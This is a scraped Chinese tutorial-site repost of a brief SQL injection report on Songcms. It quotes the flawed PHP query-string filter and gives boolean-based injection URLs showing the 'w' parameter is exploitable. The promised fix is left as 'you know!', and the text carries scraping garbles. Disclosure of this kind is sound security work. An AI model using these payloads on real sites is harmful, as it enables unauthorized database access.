好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Songcms Sql注入漏洞及修复 - 网站安全 - 自学php

过滤不严谨呀! 导致SQL注入!   if($WebOpening==0) die(htmlspecialchars_decode($WebMaintenanceText)); $QUERY = preg_replace("/[\\\:\*\?\"\'<>\~\(\)\[\]\{\}\s\$]/",'',$_SERVER['QUERY_STRING']); //这个正则不严谨呀!!!!冏$QUERY = explode('/',$QUERY); foreach ($QUERY as $key => $value){        $sGET[substr($value,0,1)] = substr(trim($value),1); } HdhCmsTest2cto测试数据 if (!empty($sGET['w'])) $sGET['w'] = urldecode($sGET['w']);  解码后成功触发 Lang(); sFile(); 漏洞 证明:http://localhost/Song/?m1/fproducts/l1/w11%%27 and 1=1 and %27%%27=%27   TRUE     http://HdhCmsTest2cto测试数据 /Song/?m1/fproducts/l1/w11%%27 and 1=2and %27%%27=%27   FALSE 修复方案: 你懂的!

查看更多关于Songcms Sql注入漏洞及修复 - 网站安全 - 自学php的详细内容...

  阅读:49次